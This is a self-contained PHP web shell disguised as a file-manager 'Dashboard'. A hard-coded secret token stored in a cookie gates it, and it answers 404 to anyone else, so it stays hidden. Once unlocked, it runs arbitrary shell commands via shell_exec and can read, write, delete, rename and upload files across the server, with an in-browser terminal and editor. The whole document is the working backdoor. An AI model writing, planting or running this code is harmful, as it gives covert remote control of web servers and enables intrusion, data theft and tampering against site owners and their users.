<?php
define('SECRET_TOKEN', 'mXDyuCgplSbykXQD');
define('COOKIE_NAME',  'fm_auth');
define('COOKIE_DAYS',  30);

$cookieToken = $_COOKIE[COOKIE_NAME] ?? '';
$queryToken  = $_GET['t'] ?? '';

if ($queryToken !== '') {
    if (!hash_equals(SECRET_TOKEN, $queryToken)) {
        http_response_code(404);
        exit;
    }
    setcookie(COOKIE_NAME, SECRET_TOKEN, [
        'expires'  => time() + 60 * 60 * 24 * COOKIE_DAYS,
        'path'     => '/',
        'httponly' => true,
        'samesite' => 'Strict',
        'secure'   => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'),
    ]);
    $cleanUrl = strtok($_SERVER['REQUEST_URI'], '?');
    header('Location: ' . $cleanUrl, true, 302);
    exit;
}

if (!hash_equals(SECRET_TOKEN, $cookieToken)) {
    http_response_code(404);
    exit;
}

session_start();

$action = $_POST['action'] ?? $_GET['action'] ?? '';

if ($action === 'exec') {
    header('Content-Type: application/json');
    $cmd = $_POST['cmd'] ?? '';
    $cwd = $_POST['cwd'] ?? getcwd();
    if (!is_dir($cwd)) $cwd = getcwd();
    if (preg_match('/^\s*cd\s*(.*)/i', $cmd, $m)) {
        $target = trim($m[1]);
        if ($target === '' || $target === '~') {
            $newDir = $_SERVER['HOME'] ?? getcwd();
        } elseif ($target[0] === '/') {
            $newDir = $target;
        } else {
            $newDir = realpath($cwd . '/' . $target);
        }
        if ($newDir && is_dir($newDir)) {
            echo json_encode(['output' => '', 'cwd' => $newDir, 'ok' => true]);
        } else {
            echo json_encode(['output' => "cd: no such directory: $target", 'cwd' => $cwd, 'ok' => false]);
        }
        exit;
    }
    $escaped = escapeshellcmd($cmd);
    $output  = shell_exec("cd " . escapeshellarg($cwd) . " && $escaped 2>&1");
    echo json_encode(['output' => $output ?? '', 'cwd' => $cwd, 'ok' => true]);
    exit;
}

if ($action === 'list') {
    header('Content-Type: application/json');
    $dir = realpath($_POST['dir'] ?? getcwd());
    if (!$dir || !is_dir($dir)) { echo json_encode(['error' => 'Invalid dir']); exit; }
    $items = [];
    foreach (scandir($dir) as $name) {
        if ($name === '.') continue;
        $full = $dir . '/' . $name;
        $items[] = [
            'name'  => $name,
            'isDir' => is_dir($full),
            'size'  => is_file($full) ? filesize($full) : null,
            'mtime' => filemtime($full),
            'perms' => substr(sprintf('%o', fileperms($full)), -4),
        ];
    }
    usort($items, fn($a,$b) => ($b['isDir'] <=> $a['isDir']) ?: strcasecmp($a['name'], $b['name']));
    echo json_encode(['items' => $items, 'dir' => $dir]);
    exit;
}

if ($action === 'read') {
    header('Content-Type: application/json');
    $file = realpath($_POST['file'] ?? '');
    if (!$file || !is_file($file)) { echo json_encode(['error' => 'Not a file']); exit; }
    if (filesize($file) > 512 * 1024) { echo json_encode(['error' => 'File too large (>512 KB)']); exit; }
    echo json_encode(['content' => file_get_contents($file), 'file' => $file]);
    exit;
}

if ($action === 'write') {
    header('Content-Type: application/json');
    $file    = $_POST['file'] ?? '';
    $content = $_POST['content'] ?? '';
    if (!$file) { echo json_encode(['error' => 'No file specified']); exit; }
    echo json_encode(['ok' => file_put_contents($file, $content) !== false]);
    exit;
}

if ($action === 'delete') {
    header('Content-Type: application/json');
    $path = realpath($_POST['path'] ?? '');
    if (!$path) { echo json_encode(['error' => 'Not found']); exit; }
    echo json_encode(['ok' => is_dir($path) ? rmdir($path) : unlink($path)]);
    exit;
}

if ($action === 'rename') {
    header('Content-Type: application/json');
    $from = $_POST['from'] ?? '';
    $to   = dirname($from) . '/' . basename($_POST['to'] ?? '');
    echo json_encode(['ok' => rename($from, $to)]);
    exit;
}

if ($action === 'new') {
    header('Content-Type: application/json');
    $path = ($_POST['dir'] ?? '') . '/' . ($_POST['name'] ?? '');
    $ok   = ($_POST['type'] === 'dir') ? mkdir($path, 0755, true) : file_put_contents($path, '') !== false;
    echo json_encode(['ok' => $ok]);
    exit;
}

if ($action === 'upload') {
    header('Content-Type: application/json');
    $dir = $_POST['dir'] ?? getcwd();
    if (!isset($_FILES['file'])) { echo json_encode(['error' => 'No file']); exit; }
    $dest = $dir . '/' . basename($_FILES['file']['name']);
    echo json_encode(['ok' => move_uploaded_file($_FILES['file']['tmp_name'], $dest)]);
    exit;
}

$startDir = getcwd();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Dashboard</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@300;400;500&family=IBM+Plex+Sans:wght@300;400;500&display=swap');

*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

:root {
  --bg:       #f5f4f0;
  --surface:  #ffffff;
  --border:   #e2e0da;
  --border2:  #ccc9c0;
  --text:     #1a1a1a;
  --muted:    #888880;
  --accent:   #2563eb;
  --accent-h: #1d4ed8;
  --danger:   #dc2626;
  --dir-col:  #2563eb;
  --mono:     'IBM Plex Mono', monospace;
  --sans:     'IBM Plex Sans', sans-serif;
  --term-bg:  #1c1c1e;
  --term-fg:  #e8e8e3;
  --term-gr:  #3fb950;
}

html, body {
  height: 100%;
  background: var(--bg);
  color: var(--text);
  font-family: var(--sans);
  font-size: 13px;
  overflow: hidden;
}

#app { display: flex; flex-direction: column; height: 100vh; }

#toolbar {
  display: flex;
  align-items: center;
  gap: 6px;
  padding: 9px 16px;
  background: var(--surface);
  border-bottom: 1px solid var(--border);
  flex-shrink: 0;
  box-shadow: 0 1px 3px rgba(0,0,0,.04);
}

.logo {
  font-family: var(--mono);
  font-size: 10px;
  font-weight: 500;
  color: var(--muted);
  letter-spacing: .1em;
  text-transform: uppercase;
  margin-right: 4px;
  padding: 3px 8px;
  border: 1px solid var(--border2);
  border-radius: 3px;
  background: var(--bg);
}

#path-bar {
  flex: 1;
  background: var(--bg);
  border: 1px solid var(--border2);
  color: var(--text);
  font-family: var(--mono);
  font-size: 11px;
  padding: 5px 10px;
  border-radius: 4px;
  outline: none;
  transition: border-color .15s;
}
#path-bar:focus { border-color: var(--accent); }

.tb-btn {
  background: var(--surface);
  border: 1px solid var(--border2);
  color: var(--text);
  padding: 5px 11px;
  border-radius: 4px;
  cursor: pointer;
  font-family: var(--sans);
  font-size: 11px;
  font-weight: 500;
  transition: all .15s;
  white-space: nowrap;
}
.tb-btn:hover { background: var(--bg); border-color: var(--accent); color: var(--accent); }
.tb-btn.danger:hover { border-color: var(--danger); color: var(--danger); }

.sep { width: 1px; height: 18px; background: var(--border); margin: 0 2px; flex-shrink: 0; }

#main { display: flex; flex: 1; overflow: hidden; }

#files-panel {
  width: 360px;
  min-width: 180px;
  max-width: 60%;
  display: flex;
  flex-direction: column;
  border-right: 1px solid var(--border);
  background: var(--surface);
  resize: horizontal;
  overflow: auto;
}

#files-header {
  display: grid;
  grid-template-columns: 1fr 64px 88px 52px;
  padding: 6px 12px;
  border-bottom: 1px solid var(--border);
  color: var(--muted);
  font-size: 10px;
  font-weight: 500;
  text-transform: uppercase;
  letter-spacing: .08em;
  flex-shrink: 0;
  background: var(--bg);
}

#file-list { flex: 1; overflow-y: auto; }

.file-row {
  display: grid;
  grid-template-columns: 1fr 64px 88px 52px;
  padding: 5px 12px;
  cursor: pointer;
  align-items: center;
  border-bottom: 1px solid #f0eeea;
  transition: background .1s;
  user-select: none;
}
.file-row:hover { background: #f8f7f4; }
.file-row.selected {
  background: #eff6ff;
  border-left: 2px solid var(--accent);
  padding-left: 10px;
}
.file-row .name {
  display: flex;
  align-items: center;
  gap: 7px;
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
  font-size: 12px;
}
.file-row .name .icon {
  flex-shrink: 0;
  font-family: var(--mono);
  font-size: 9px;
  color: var(--muted);
  min-width: 22px;
}
.file-row.is-dir .name { color: var(--dir-col); font-weight: 500; }
.file-row.is-file .name { color: var(--text); }
.file-row .size,
.file-row .date,
.file-row .perms {
  color: var(--muted);
  font-size: 10px;
  font-family: var(--mono);
}

#right-panel {
  flex: 1;
  display: flex;
  flex-direction: column;
  overflow: hidden;
  background: var(--bg);
}

#editor-pane {
  flex: 1;
  display: flex;
  flex-direction: column;
  border-bottom: 1px solid var(--border);
  overflow: hidden;
  min-height: 80px;
}

#editor-bar {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 6px 12px;
  border-bottom: 1px solid var(--border);
  flex-shrink: 0;
  background: var(--surface);
}

#editor-filename {
  color: var(--muted);
  font-size: 11px;
  font-family: var(--mono);
  flex: 1;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}

#editor-save {
  background: var(--accent);
  color: #fff;
  border: none;
  padding: 4px 12px;
  border-radius: 4px;
  cursor: pointer;
  font-family: var(--sans);
  font-size: 11px;
  font-weight: 500;
  transition: background .15s;
}
#editor-save:hover { background: var(--accent-h); }

#editor-close {
  background: transparent;
  border: none;
  color: var(--muted);
  cursor: pointer;
  font-size: 16px;
  padding: 0 4px;
  line-height: 1;
}
#editor-close:hover { color: var(--danger); }

#code-editor {
  flex: 1;
  resize: none;
  background: var(--surface);
  border: none;
  outline: none;
  color: var(--text);
  font-family: var(--mono);
  font-size: 12px;
  padding: 14px 16px;
  tab-size: 2;
  line-height: 1.65;
}

#editor-placeholder {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  color: var(--muted);
  font-size: 12px;
  gap: 8px;
  background: var(--surface);
}
#editor-placeholder .ph-icon { font-size: 26px; opacity: .25; }

#terminal-pane {
  height: 220px;
  min-height: 80px;
  display: flex;
  flex-direction: column;
  background: var(--term-bg);
  flex-shrink: 0;
  border-top: 2px solid #111;
}

#terminal-bar {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 7px 12px;
  background: #111;
  flex-shrink: 0;
}

.dot { width: 10px; height: 10px; border-radius: 50%; }
.dot.r { background: #ff5f57; }
.dot.y { background: #ffbd2e; }
.dot.g { background: #28c840; }

#term-cwd-label {
  font-family: var(--mono);
  font-size: 10px;
  color: #444;
  flex: 1;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}

#terminal-output {
  flex: 1;
  overflow-y: auto;
  padding: 10px 14px;
  font-family: var(--mono);
  font-size: 12px;
  line-height: 1.55;
  white-space: pre-wrap;
  word-break: break-all;
  color: var(--term-fg);
}

.t-prompt { color: var(--term-gr); }
.t-cmd    { color: #fff; }
.t-out    { color: #bbb; }
.t-err    { color: #f97583; }

#terminal-input-row {
  display: flex;
  align-items: center;
  padding: 7px 14px;
  gap: 8px;
  border-top: 1px solid #2a2a2a;
  flex-shrink: 0;
}

#term-prompt {
  color: var(--term-gr);
  white-space: nowrap;
  font-family: var(--mono);
  font-size: 12px;
}

#term-input {
  flex: 1;
  background: transparent;
  border: none;
  outline: none;
  color: #fff;
  font-family: var(--mono);
  font-size: 12px;
  caret-color: var(--term-gr);
}

#modal-overlay {
  display: none;
  position: fixed;
  inset: 0;
  background: rgba(0,0,0,.3);
  align-items: center;
  justify-content: center;
  z-index: 100;
  backdrop-filter: blur(2px);
}
#modal-overlay.open { display: flex; }

#modal {
  background: var(--surface);
  border: 1px solid var(--border);
  border-radius: 8px;
  padding: 24px 28px;
  min-width: 320px;
  display: flex;
  flex-direction: column;
  gap: 16px;
  box-shadow: 0 8px 32px rgba(0,0,0,.1);
}
#modal h3 { font-size: 14px; font-weight: 500; }

#modal input {
  background: var(--bg);
  border: 1px solid var(--border2);
  color: var(--text);
  font-family: var(--mono);
  font-size: 13px;
  padding: 7px 10px;
  border-radius: 4px;
  width: 100%;
  outline: none;
}
#modal input:focus { border-color: var(--accent); }

.modal-row { display: flex; gap: 8px; justify-content: flex-end; }

.m-btn {
  padding: 6px 16px;
  border-radius: 4px;
  border: 1px solid var(--border2);
  cursor: pointer;
  font-family: var(--sans);
  font-size: 12px;
  font-weight: 500;
  background: var(--surface);
  color: var(--text);
  transition: all .15s;
}
.m-btn:hover { border-color: var(--accent); color: var(--accent); }
.m-btn.primary { background: var(--accent); color: #fff; border-color: var(--accent); }
.m-btn.primary:hover { background: var(--accent-h); }

::-webkit-scrollbar { width: 5px; height: 5px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: var(--border2); border-radius: 3px; }

#upload-input { display: none; }
</style>
</head>
<body>
<div id="app">

  <div id="toolbar">
    <span class="logo">fs</span>
    <input id="path-bar" type="text" value="<?= htmlspecialchars($startDir) ?>" spellcheck="false">
    <button class="tb-btn" onclick="navToPath()">Go</button>
    <button class="tb-btn" onclick="goUp()">↑ Up</button>
    <div class="sep"></div>
    <button class="tb-btn" onclick="showModal('new-file')">+ File</button>
    <button class="tb-btn" onclick="showModal('new-dir')">+ Dir</button>
    <button class="tb-btn" onclick="document.getElementById('upload-input').click()">↑ Upload</button>
    <input id="upload-input" type="file" multiple onchange="uploadFiles(this)">
    <div class="sep"></div>
    <button class="tb-btn danger" onclick="deleteSelected()">Delete</button>
  </div>

  <div id="main">

    <div id="files-panel">
      <div id="files-header">
        <div>Name</div><div>Size</div><div>Modified</div><div>Perm</div>
      </div>
      <div id="file-list"></div>
    </div>

    <div id="right-panel">

      <div id="editor-pane">
        <div id="editor-bar">
          <span id="editor-filename">No file open</span>
          <button id="editor-save" onclick="saveFile()" style="display:none">Save</button>
          <button id="editor-close" onclick="closeEditor()" style="display:none">×</button>
        </div>
        <div id="editor-placeholder">
          <span class="ph-icon">⌗</span>
          <span>Select a file to edit</span>
        </div>
        <textarea id="code-editor" style="display:none" spellcheck="false"></textarea>
      </div>

      <div id="terminal-pane">
        <div id="terminal-bar">
          <span class="dot r"></span>
          <span class="dot y"></span>
          <span class="dot g"></span>
          <span id="term-cwd-label"></span>
        </div>
        <div id="terminal-output"></div>
        <div id="terminal-input-row">
          <span id="term-prompt">$</span>
          <input id="term-input" type="text" autocomplete="off" spellcheck="false"
                 placeholder="enter command…" onkeydown="termKeyDown(event)">
        </div>
      </div>

    </div>
  </div>
</div>

<div id="modal-overlay" onclick="closeModal(event)">
  <div id="modal">
    <h3 id="modal-title">New File</h3>
    <input id="modal-input" type="text" placeholder="name">
    <div class="modal-row">
      <button class="m-btn" onclick="closeModal()">Cancel</button>
      <button class="m-btn primary" onclick="modalConfirm()">Create</button>
    </div>
  </div>
</div>

<script>
let cwd         = <?= json_encode($startDir) ?>;
let termCwd     = cwd;
let selected    = null;
let openFile    = null;
let cmdHistory  = [], histIdx = -1;
let modalAction = '';

listDir(cwd);
updateTermPrompt();

async function listDir(dir) {
  cwd = dir;
  document.getElementById('path-bar').value = dir;
  const res  = await post({ action:'list', dir });
  const data = await res.json();
  if (data.error) { alert(data.error); return; }
  renderFiles(data.items);
}

function renderFiles(items) {
  const list = document.getElementById('file-list');
  list.innerHTML = '';
  items.forEach(item => {
    const row = document.createElement('div');
    row.className = 'file-row ' + (item.isDir ? 'is-dir' : 'is-file');
    const icon = item.isDir
      ? (item.name === '..' ? '↩' : 'dir')
      : fileIcon(item.name);
    const date = new Date(item.mtime * 1000);
    const ds = date.toLocaleDateString('tr', {day:'2-digit',month:'2-digit',year:'2-digit'})
             + ' ' + date.toLocaleTimeString('tr', {hour:'2-digit',minute:'2-digit'});
    row.innerHTML = `
      <div class="name"><span class="icon">${icon}</span><span>${esc(item.name)}</span></div>
      <div class="size">${item.isDir ? '' : fmtSize(item.size)}</div>
      <div class="date">${item.name === '..' ? '' : ds}</div>
      <div class="perms">${item.name === '..' ? '' : item.perms}</div>
    `;
    row.addEventListener('click',    () => handleClick(item, row));
    row.addEventListener('dblclick', () => handleDbl(item));
    list.appendChild(row);
  });
}

function handleClick(item, row) {
  document.querySelectorAll('.file-row.selected').forEach(r => r.classList.remove('selected'));
  row.classList.add('selected');
  selected = { path: cwd + '/' + item.name, name: item.name, isDir: item.isDir };
}

async function handleDbl(item) {
  if (item.isDir) {
    const next = item.name === '..'
      ? cwd.split('/').slice(0,-1).join('/') || '/'
      : cwd + '/' + item.name;
    listDir(next);
  } else {
    openFileEditor(cwd + '/' + item.name);
  }
}

async function openFileEditor(path) {
  const res  = await post({ action:'read', file:path });
  const data = await res.json();
  if (data.error) { alert(data.error); return; }
  openFile = path;
  document.getElementById('editor-filename').textContent = path;
  document.getElementById('code-editor').value = data.content;
  document.getElementById('code-editor').style.display = 'block';
  document.getElementById('editor-placeholder').style.display = 'none';
  document.getElementById('editor-save').style.display = '';
  document.getElementById('editor-close').style.display = '';
}

async function saveFile() {
  if (!openFile) return;
  const content = document.getElementById('code-editor').value;
  const res  = await post({ action:'write', file:openFile, content });
  const data = await res.json();
  if (data.ok) flashBtn('editor-save', '✓ Saved');
}

function closeEditor() {
  openFile = null;
  document.getElementById('editor-filename').textContent = 'No file open';
  document.getElementById('code-editor').style.display = 'none';
  document.getElementById('editor-placeholder').style.display = 'flex';
  document.getElementById('editor-save').style.display = 'none';
  document.getElementById('editor-close').style.display = 'none';
}

function navToPath() { listDir(document.getElementById('path-bar').value.trim()); }

function goUp() {
  const parts = cwd.split('/').filter(Boolean);
  parts.pop();
  listDir('/' + parts.join('/') || '/');
}

async function deleteSelected() {
  if (!selected) return;
  if (!confirm('Delete ' + selected.name + '?')) return;
  const res  = await post({ action:'delete', path:selected.path });
  const data = await res.json();
  if (data.ok) { selected = null; listDir(cwd); }
  else alert('Delete failed');
}

async function uploadFiles(input) {
  for (const f of input.files) {
    const fd = new FormData();
    fd.append('action','upload'); fd.append('dir',cwd); fd.append('file',f);
    await fetch('', { method:'POST', body:fd });
  }
  input.value = '';
  listDir(cwd);
}

function showModal(action) {
  modalAction = action;
  const titles = {'new-file':'New File','new-dir':'New Folder','rename':'Rename'};
  document.getElementById('modal-title').textContent = titles[action] || '';
  document.getElementById('modal-input').value = '';
  document.getElementById('modal-overlay').classList.add('open');
  setTimeout(() => document.getElementById('modal-input').focus(), 50);
}

function closeModal(e) {
  if (e && e.target !== document.getElementById('modal-overlay')) return;
  document.getElementById('modal-overlay').classList.remove('open');
}

async function modalConfirm() {
  const name = document.getElementById('modal-input').value.trim();
  if (!name) return;
  document.getElementById('modal-overlay').classList.remove('open');
  if (modalAction === 'new-file') {
    await post({ action:'new', dir:cwd, name, type:'file' });
    listDir(cwd);
  } else if (modalAction === 'new-dir') {
    await post({ action:'new', dir:cwd, name, type:'dir' });
    listDir(cwd);
  } else if (modalAction === 'rename' && selected) {
    const res  = await post({ action:'rename', from:selected.path, to:name });
    const data = await res.json();
    if (data.ok) listDir(cwd); else alert('Rename failed');
  }
}

document.getElementById('modal-input').addEventListener('keydown', e => { if (e.key === 'Enter') modalConfirm(); });
document.getElementById('path-bar').addEventListener('keydown',    e => { if (e.key === 'Enter') navToPath(); });
document.getElementById('file-list').addEventListener('contextmenu', e => {
  e.preventDefault();
  if (selected) showModal('rename');
});

function updateTermPrompt() {
  document.getElementById('term-prompt').textContent = shortPath(termCwd) + ' $';
  document.getElementById('term-cwd-label').textContent = termCwd;
}

async function termKeyDown(e) {
  const input = document.getElementById('term-input');
  if (e.key === 'Enter') {
    const cmd = input.value;
    input.value = '';
    if (!cmd.trim()) return;
    cmdHistory.unshift(cmd); histIdx = -1;
    appendTerm(`<span class="t-prompt">${esc(shortPath(termCwd))} $</span> <span class="t-cmd">${esc(cmd)}</span>\n`);
    const res  = await post({ action:'exec', cmd, cwd:termCwd });
    const data = await res.json();
    if (data.cwd) { termCwd = data.cwd; updateTermPrompt(); }
    if (data.output) appendTerm(`<span class="t-${data.ok ? 'out' : 'err'}">${esc(data.output)}</span>`);
  } else if (e.key === 'ArrowUp') {
    e.preventDefault();
    if (histIdx < cmdHistory.length - 1) input.value = cmdHistory[++histIdx];
  } else if (e.key === 'ArrowDown') {
    e.preventDefault();
    if (histIdx > 0) input.value = cmdHistory[--histIdx];
    else { histIdx = -1; input.value = ''; }
  }
}

function appendTerm(html) {
  const out = document.getElementById('terminal-output');
  out.innerHTML += html;
  out.scrollTop = out.scrollHeight;
}

function post(data) {
  const fd = new FormData();
  Object.entries(data).forEach(([k,v]) => fd.append(k, v));
  return fetch('', { method:'POST', body:fd });
}

function esc(s) {
  return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
}

function fmtSize(b) {
  if (b == null) return '';
  if (b < 1024) return b + 'B';
  if (b < 1048576) return (b/1024).toFixed(1) + 'K';
  return (b/1048576).toFixed(1) + 'M';
}

function shortPath(p) {
  const home = '<?= addslashes($_SERVER['HOME'] ?? '') ?>';
  if (home && p.startsWith(home)) return '~' + p.slice(home.length);
  return p.length > 30 ? '…' + p.slice(-28) : p;
}

function fileIcon(name) {
  const ext = name.split('.').pop().toLowerCase();
  const map = {
    php:'php', js:'js', ts:'ts', html:'html', css:'css', json:'json',
    md:'md', txt:'txt', sh:'sh', py:'py', rb:'rb',
    jpg:'jpg', jpeg:'jpg', png:'png', gif:'gif', svg:'svg', webp:'img',
    zip:'zip', tar:'tar', gz:'gz', rar:'rar',
    sql:'sql', db:'db', pdf:'pdf', csv:'csv', env:'env', lock:'lock',
  };
  return map[ext] || '—';
}

function flashBtn(id, text) {
  const btn = document.getElementById(id);
  const orig = btn.textContent;
  btn.textContent = text;
  setTimeout(() => btn.textContent = orig, 1500);
}
</script>
</body>
</html>